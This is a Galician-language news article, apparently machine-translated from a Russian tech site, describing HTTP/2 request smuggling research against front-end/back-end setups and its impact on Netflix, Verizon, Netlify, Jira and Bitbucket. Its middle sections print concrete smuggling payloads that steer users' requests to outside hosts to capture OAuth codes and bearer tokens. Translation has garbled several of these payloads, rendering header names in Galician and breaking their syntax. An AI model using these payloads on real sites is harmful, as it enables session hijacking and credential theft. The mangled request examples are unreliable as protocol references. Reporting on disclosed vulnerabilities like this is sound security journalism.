Un novo ataque aos sistemas front-end-backend que che permite axustar as solicitudes

Os sistemas web nos que o front end acepta conexións vía HTTP/2 e as transmite ao backend vía HTTP/1.1 expuxéronse a unha nova variante do ataque "HTTP Request Smuggling", que permite, mediante o envío de solicitudes de clientes especialmente deseñadas, incorpórase ao contido das solicitudes doutros usuarios procesadas no mesmo fluxo entre frontend e backend. O ataque pódese usar para inserir código JavaScript malicioso nunha sesión cun sitio web lexítimo, evitar sistemas de restrición de acceso e interceptar parámetros de autenticación.

O problema afecta aos proxies web, equilibradores de carga, aceleradores web, sistemas de entrega de contidos e outras configuracións nas que as solicitudes se redirixen de xeito intermedio a backend. O autor do estudo demostrou a posibilidade de atacar os sistemas de Netflix, Verizon, Bitbucket, Netlify CDN e Atlassian, e recibiu 56 mil dólares en programas de recompensa por identificar vulnerabilidades. O problema tamén se confirmou nos produtos F5 Networks. O problema afecta parcialmente a mod_proxy no servidor http Apache (CVE-2021-33193), espérase unha corrección na versión 2.4.49 (os desenvolvedores foron notificados do problema a principios de maio e deron 3 meses para solucionalo). En nginx, a capacidade de especificar simultaneamente as cabeceiras "Lonxitude do contido" e "Codificación de transferencia" bloqueouse na última versión (1.21.1). As ferramentas de ataque xa están incluídas no conxunto de ferramentas Burp e están dispoñibles en forma de extensión Turbo Intruder.

O principio de funcionamento do novo método de encajar as solicitudes no tráfico é similar á vulnerabilidade identificada polo mesmo investigador hai dous anos, pero limitado a frontends que aceptan solicitudes a través de HTTP/1.1. Lembremos que no esquema frontend-backend, as solicitudes dos clientes son recibidas por un nodo adicional: o frontend, que establece unha conexión TCP de longa duración co backend, que procesa directamente as solicitudes. A través desta conexión común adoitan transmitirse solicitudes de diferentes usuarios, que seguen a cadea unha tras outra, separadas mediante o protocolo HTTP.

O ataque clásico "Contrabando de solicitudes HTTP" baseouse no feito de que as interfaces e os backends interpretan o uso de cabeceiras HTTP "Lonxitude do contido" (determina o tamaño total dos datos na solicitude) e "Codificación de transferencia: fragmentada" (permite datos a transferir por partes) de forma diferente. . Por exemplo, se a interface só admite "Lonxitude de contido" pero ignora "Codificación de transferencia: fragmentada", entón un atacante podería enviar unha solicitude que conteña as cabeceiras "Lonxitude de contido" e "Codificación de transferencia: fragmentada", pero o tamaño é "Lonxitude do contido" non coincide co tamaño da cadea fragmentada. Neste caso, o frontend procesará e redirixirá a solicitude de acordo coa "Lonxitude do contido", e o backend agardará a que se complete o bloque baseándose en "Transferencia-Codificación: fragmentada" e a cola restante da solicitude do atacante estar ao comezo da solicitude doutra persoa transmitida a continuación.

A diferenza do protocolo de texto HTTP/1.1, que se analiza a nivel de liña, HTTP/2 é un protocolo binario e manipula bloques de datos dun tamaño previamente especificado. Non obstante, HTTP/2 usa pseudo-encabezados que se corresponden con cabeceiras HTTP habituais. No caso de interacción co backend a través do protocolo HTTP/1.1, o frontend traduce estes pseudo-encabezados en cabeceiras HTTP similares HTTP/1.1. O problema é que o backend toma decisións sobre analizar o fluxo baseándose nas cabeceiras HTTP establecidas polo frontend, sen ter información sobre os parámetros da solicitude orixinal.

En particular, os valores "content-length" e "transfer-coding" pódense transmitir en forma de pseudo-encabezados, a pesar de que non se usan en HTTP/2, xa que o tamaño de todos os datos está determinado. nun campo separado. Non obstante, durante o proceso de conversión dunha solicitude HTTP/2 a HTTP/1.1, estas cabeceiras transmítense e poden confundir o backend. Existen dúas variantes principais de ataque: H2.TE e H2.CL, nas que o backend é enganado por unha codificación de transferencia incorrecta ou un valor de lonxitude de contido que non se corresponde co tamaño real do corpo da solicitude recibida polo frontend a través do Protocolo HTTP/2.

Un novo ataque aos sistemas front-end-backend que che permite axustar as solicitudes

Un exemplo de ataque H2.CL é especificar un tamaño incorrecto na pseudo-encabezado de lonxitude de contido ao enviar unha solicitude HTTP/2 a Netflix. Esta solicitude leva á adición dunha cabeceira HTTP similar Content-Length cando se accede ao backend a través de HTTP/1.1, pero como o tamaño en Content-Length se especifica menos que o real, parte dos datos da cola procédese como o inicio da seguinte solicitude.

Por exemplo, solicite HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Dará como resultado que se envíe unha solicitude ao backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Dado que Content-Length ten un valor de 4, o backend só aceptará "abcd" como o corpo da solicitude e o resto de "GET /n HTTP/1.1..." procesarase como o inicio dunha solicitude posterior. asociado con outro usuario. En consecuencia, o fluxo quedará desincronizado e, en resposta á seguinte solicitude, emitirase o resultado do procesamento da solicitude ficticia. No caso de Netflix, ao especificar un host de terceiros na cabeceira "Host:" nunha solicitude ficticia, o cliente devolveu a resposta "Localización: https://02.rs?x.netflix.com/n" e permitiu enviar contido arbitrario ao cliente, incluído Executar o código JavaScript no contexto do sitio de Netflix.

A segunda opción de ataque (H2.TE) implica substituír a cabeceira "Transfer-Encoding: chunked". O uso da pseudo-encabezado de codificación de transferencia en HTTP/2 está prohibido pola especificación e as solicitudes con ela están prescritas para ser tratadas como incorrectas. A pesar diso, algunhas implementacións de frontend non teñen en conta este requisito e permiten o uso dunha pseudo-encabezado de codificación de transferencia en HTTP/2, que se converte nunha cabeceira HTTP similar. Se hai unha cabeceira "Codificación de transferencia", o backend pode tomala como unha prioridade máis alta e analizar os datos peza por peza en modo "en fragmentos" usando bloques de diferentes tamaños no formato "{tamaño}\r\n{bloque }\r\n{tamaño} \r\n{bloque}\r\n0", a pesar da división inicial por tamaño total.

A presenza dese oco foi demostrada polo exemplo de Verizon. O problema concernía ao portal de autenticación e ao sistema de xestión de contidos, que tamén se utiliza en sitios como Huffington Post e Engadget. Por exemplo, unha solicitude de cliente vía HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

O resultado foi o envío dunha solicitude HTTP/1.1 ao backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Duración do contido: 66 Codificación de transferencia: fragmentada 0 GET /oops Host HTTP/1.1: psres. Contido neto-Lonxitude: 10x=

O backend, pola súa banda, ignorou a cabeceira "Lonxitude do contido" e realizou a división en fluxo baseada en "Codificación de transferencia: fragmentada". Na práctica, o ataque permitiu redirixir as solicitudes dos usuarios ao seu sitio web, incluíndo a interceptación de solicitudes relacionadas coa autenticación OAuth, cuxos parámetros se mostraban na cabeceira do Referer, ademais de simular unha sesión de autenticación e activar o sistema do usuario para enviar credenciais. ao host do atacante. GET /b2blanding/show/oops Host HTTP/1.1: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorización: Bearer eyJhcGwiOiJIUzI1Gi1sInkR6cCI6IkRXNUMXc

Para atacar implementacións HTTP/2 que non permiten especificar o pseudo-encabezado de codificación de transferencia, propúxose outro método que consiste en substituír a cabeceira “Codificación de transferencia” anexándoa a outras pseudo-cabezas separadas por un carácter de nova liña ( cando se converte a HTTP/1.1, neste caso crea dúas cabeceiras HTTP separadas).

Por exemplo, Atlassian Jira e Netlify CDN (utilizados para servir a páxina de inicio de Mozilla en Firefox) víronse afectados por este problema. En concreto, a solicitude HTTP/2 :método POST :ruta / :autoridade start.mozilla.org foo b\r\n codificación de transferencia: fragmentada 0\r\n \r\n GET / HTTP/1.1\r\n Host : dominio-evil-netlify\r\n Lonxitude do contido: 5\r\n \r\nx=

provocou o envío da solicitude HTTP/1.1 POST / HTTP/1.1 ao backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Anfitrión: dominio-evil-netlify\r\n Lonxitude do contido: 5\r\n \r \nx=

Outra opción para substituír a cabeceira "Transferencia-Codificación" era anexala ao nome doutro pseudo-encabezado ou a unha liña cun método de solicitude. Por exemplo, ao acceder a Atlassian Jira, o nome de pseudo-encabezado "foo:bar\r\ntransfer-encoding" co valor "chunked" fixo que se engadiran os encabezados HTTP "foo:bar" e "transfer-encoding: chunked". , e especificando o valor de pseudo-encabezado ":method" "GET / HTTP/1.1\r\nTransfer-encoding: chunked" traduciuse a "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

O investigador que identificou o problema tamén propuxo unha técnica de tunelización de solicitudes para atacar frontends, na que cada enderezo IP establece unha conexión separada co backend e non se mestura o tráfico de diferentes usuarios. A técnica proposta non permite interferir con solicitudes doutros usuarios, pero permite envelenar unha caché compartida que afecta ao procesamento doutras solicitudes, e permite a substitución de cabeceiras HTTP internas utilizadas para transferir información do servizo do frontend ao backend ( por exemplo, cando se autentica no lado do frontend en Tales cabeceiras poden transmitir información sobre o usuario actual ao backend). Como exemplo de aplicación do método na práctica, usando o envelenamento da caché, foi posible conseguir o control das páxinas do servizo Bitbucket.

Fonte: opennet.ru

Engadir un comentario